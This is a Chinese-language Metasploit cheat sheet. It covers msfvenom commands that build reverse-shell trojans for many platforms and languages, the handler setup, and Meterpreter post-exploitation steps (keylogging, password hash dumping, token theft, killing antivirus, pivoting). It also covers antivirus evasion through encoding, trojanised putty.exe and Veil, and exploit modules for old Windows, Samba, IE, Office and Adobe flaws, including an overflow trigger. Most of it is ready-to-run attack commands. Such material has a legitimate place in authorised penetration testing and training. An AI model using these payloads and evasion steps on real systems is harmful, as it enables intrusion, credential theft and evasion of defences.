一、Metasploit总体框架：

Shell中直接输入msfconsole
启动PostgreSQL数据库服务：service postgresql start 监听5432端口
初始化Metasploit数据库：msfdb init
查看数据库联接状况：msfconsole db_status
创建数据库缓存：msfconsole db_rebuild_cachephp

专业术语

– Exploit，攻击工具/代码
– Payload，攻击载荷
– Shellcode
– Module，模块
– Listener，监听器css

目录结构：

Kali Linux /usr/share/metasploit-frameworkhtml

经常使用命令

show exploits – 查看全部可用的渗透攻击程序代码
show auxiliary – 查看全部可用的辅助攻击工具
show options – 查看该模块全部可用选项
show payloads – 查看该模块适用的全部载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于全部模块的全局参数
save – 将当前设置值保存下来，以便下次启动MSF终端时仍可以使用java

msfvenom （攻击载荷生成和编码器）

主要参数：
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-f exe生成EXE格式
-l 能够查看能够利用payload eg：msfvenom -l | grep windows | grep x64 | grep tcp
LHOST,LPORT 监听上线的主机IP和端口python

一、生成木马文件

操做系统linux

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f macho > shell.machogit

开发语言：
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=xx -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f war > shell.wargithub

脚本语言：
Python:
msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=xx -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=x.x.x.x LPORT=xx -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=x.x.x.x LPORT=xx -f raw > shell.plweb

操做举例：

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exemsf > use exploit/multi/handlermsf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false #让connection保持链接(即便一个链接退出,仍然保持listening状态)
msf exploit(handler) > exploit -j -z #-j(计划任务下进行攻击，后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs #查看后台攻击任务
msf exploit(handler) > kill <id> #中止某后台攻击任务
msf exploit(handler) > sessions -l #(查看会话)
msf exploit(handler) > sessions -i 2 #选择会话
msf exploit(handler) > sessions -k 2 #结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话sql

Meterpreter后攻击：

Meterpreter提供的功能包括反追踪、纯内存工做模式、系统信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记录、权限提高、跳板攻击等等。
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提高到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 建立自动路由
meterpreter > run autoroute -p 查看自动路由表
建立代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数：
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式：去掉以下参数前面的注释

免杀技术：

一、屡次编码免杀
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe
二、自定义二进制代码的文件模板免杀
使用“putty.exe”做为文件模板，并且随着putty程序运行而隐蔽同时运行，还使用编码器进行了编码。
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe
三、使用Veil生成免杀代码
下载地址：
https://github.com/Veil-Framework/Veil-Evasion (只集合了Evasion)
https://github.com/Veil-Framework/Veil
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
cd setup
sudo ./setup.sh -c#一路回车就行，默认安装就行
cd ~/Veil
./Veil.py
use Evasion #使用Veil-Evasion工具
list #列举全部模块
use #使用某个模块
use c/meterpreter/rev_http.py
set #设置变量
generate #生成可执行代码
接着就是加载msf监听模块，等待用户的上线了

二、Metasploit Auxiliary：

2.一、scanner：

portscan syn扫描
use auxiliary/scanner/portscan/syn
Metasploit SMB扫描获取系统信息
use auxiliary/scanner/smb/smb_version
批量识别ssh指纹识别
use auxiliary/scanner/ssh/ssh_version
批量识别ftp指纹识别
use auxiliary/scanner/ftp/ftp_version
SNMP扫描与枚举
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
smb登陆验证
use auxiliary/scanner/smb/smb_login
VNC身份验证
use auxiliary/scanner/vnc/vnc_none_auth

2.二、sniffer：

密码嗅探
use auxiliary/sniffer/psnuffle

2.三、扫描wmap：

小结wmap：

1.启动msf数据库
2.msf加载wmap
load wmap
3.wmap添加一个sites
wmap_sites -a  http://xxx.com.cn
查看添加的list
wmap_sites -l
4.wmap添加一个targets
wmap_targets -t http://192.168.x.xxx
使用-d添加targets
wmap_targets -d 0
清空添加的list
wmap_targets -c
5.执行漏洞扫描
wmap_run -e
6.查看扫描到的漏洞
wmap_vulns
7.导出漏洞扫描结果
db_export -f xml /root/database.xml

扫描实例详情：http://192.168.19.141

msf> hosts -c address,os_name,os_flavor

msf> db_import nexposelist.xml

2.8 使用Dradis框架共享扫描信息

3 操做系统漏洞评估与利用

一、Windows XP

1.一、MS03_26_dcom

exploit/windows/dcerpc/ms03_026_dcom

Rank 为：great port:135

DCOM(分布式组件对象模型)接口，运行在RPC的端口上，RPC协议中对畸形消息的处理存在错误

payload windows/adduser

payload windows/shell/bind_tcp

#能够找到原文件查看源码adduser是怎么实现的。

二、Windows 2003 Server

2.一、MS08_067_netapi

exploit/windows/smb/ms08_067_netapi

Rank 为：great port:445

netapi32.dll执行路径链接代码中的分析漏洞，可绕过NX特性，防止Server服务崩溃。

三、Windows 7/Server 2008 R2

3.一、ms10_006_negotiate_response_loop

auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

Rank:normal

将UNC路径传递给web页面，并诱使目标用户执行，用户打开共享文件以后，目标系统将彻底崩溃，只能从新启动恢复

msf exploit(ms08_067_netapi) > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > run 

[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: \\127.0.0.1\Shared\Anything
[*] Server started.

四、Linux

4.一、Samba

exploit/linux/samba/lsa_transnames_heap

CVE-2007-2446

激发Samba守护进程的LSA RPC服务中的堆溢出漏洞，并使用talloc chunk 重写方法（credit Ramon and Adriano）

使用用于 Samba 3.0.21-3.0.24版本

值的学习的两个模块：

一、Samba chain_reply 内存损坏漏洞：

分配给响应数据包的内存，可经过传递超过目标缓冲区大小的值实现

受影响版本：Samba 3.3.13以前

二、Samba trans2open 溢出：

利用没有noexec栈选项的 x86 Linux机器中的漏洞

受影响版本：Samba 2.2.0-2.2.8

五、理解Windows DLL注入

5.一、webdav_dll_hijacker

exploit/windows/browser/webdav_dll_hijacker

建立包含漏洞的目录路径，目标机器须要执行该路径以便激活漏洞。

目录能够是文件、提早的文件夹、USB驱动器或网络共享等。

建立的文件自己是无害的，但会执行DLL注入漏洞来攻击目标系统

DLL（动态连接库）是微软Windows操做系统中共享库的一种实现。

运行时loadlibray()函数将加载运行时必须的DLL，若是没有指定位置，或者提供非全限定的库路径时，

会使用自定义的搜索顺序进行DLL搜索，其中默认搜索位置就是程序的当前工做目录。

因为当前工做目录是由攻击者控制的，攻击者能够在其中添加恶意的DLL代码，并由操做系统执行，

从而使攻击者能够执行外部脚本，攻击载荷成功执行后，会创建shell连接。

5.二、探测DLL注入漏洞

H.D.Moore的DLLHijackAudit安全审计工具。

https://github.com/rapid7/DLLHijackAuditKit/releases/

六、客户端漏洞利用与防病毒软件规避

6.1 IE浏览器

1.不安全脚本错误配置

exploit/windows/browser/ie_unsafe_scripting

漏洞影响：IE 六、7（XP、2003）IE 8（WIN7）

exploit命令生成一个恶意连接，受害者点击连接后，IE崩溃或者显示空白页。（IE 8 须要点击Allow按钮）

容许对ActiveX控件WScript.Shell 进行访问，WScript.Shell对象提供了读取文件系统、环境变量、读取并修改注册表，快捷方式管理等函数，

从而使攻击者利用控件建立JavaScript脚本与目标主机文件系统进行交互并运行相应命令。

2.Internet Explorer Aurora内存损坏

exploit/windows/browser/ms10_002_aurora

CVE-2010-0249只针对IE 6内存损坏漏洞攻击

2010中期，攻击者利用“Operation Aurora”攻击过一些顶级公司

3.CSS递归调用内存损坏

exploit/windows/browser/ms11_003_ie_css_import

CVE-2010-3971漏洞影响：IE 8 （win7 和Server 2008）

payload：windows/meterpreter/bind_tcp

生成一个恶意连接，目标主机使用IE打开后，IE浏览器将彻底“冻结”，并消耗大量的系统资源，目标主机将不得不关闭浏览器

InitialAutoRunScript 'migrate -f'

migate -f:

将攻击载荷从iexplore.exe进程转移给notepad.exe进程。

有助于保持持久连接，即使用户关闭了浏览器，还能够通行，由于shell已经转移到另外的进程。

若是提示：“Target machine does not have the .NET CLR 2.0.50727”，须要将IE设置为默认浏览器便可

6.2 Microsoft Offices

1.Word RTF栈溢出

exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

CVE-2010-3333漏洞影响：Office 2010 和 Office 2007

payload：windows/meterpreter/reverse_tcp

恶意word文档将非法值传递给word分析器，分析器没法识别非法值从而致使缓冲区溢出。

而后攻击载荷开始运行，并创建连接。是否攻击成功，取决于目标机器自身情况，

由于Windows ASLR（地址空间布局随机化）会阻止执行任意代码。

2.Excel 2007 缓存区溢出

exploit/windows/fileformat/adobe_utilprintf

CVE-2008-2992漏洞影响：< 8.1.3

快速恢复渗透过程：exploit/multi/handler

特殊的监听器模块

Adobe Reader 软件中JavaScript函数util.printf() 的实现出现了错误。

该函数将其接受的参数转换为字符串，可是使用最开始的16个数字，

其他部分使用固定值0（0x30）进行填充，若是向该函数传递一个超长度值...

var num 1.2

util.printf("%5000f",num)

这简单的2行代码的功能是将字节0x20在栈中复制5000次，从而能够控制异常处理程序，并在尝试写入栈后的内存端时触发异常。
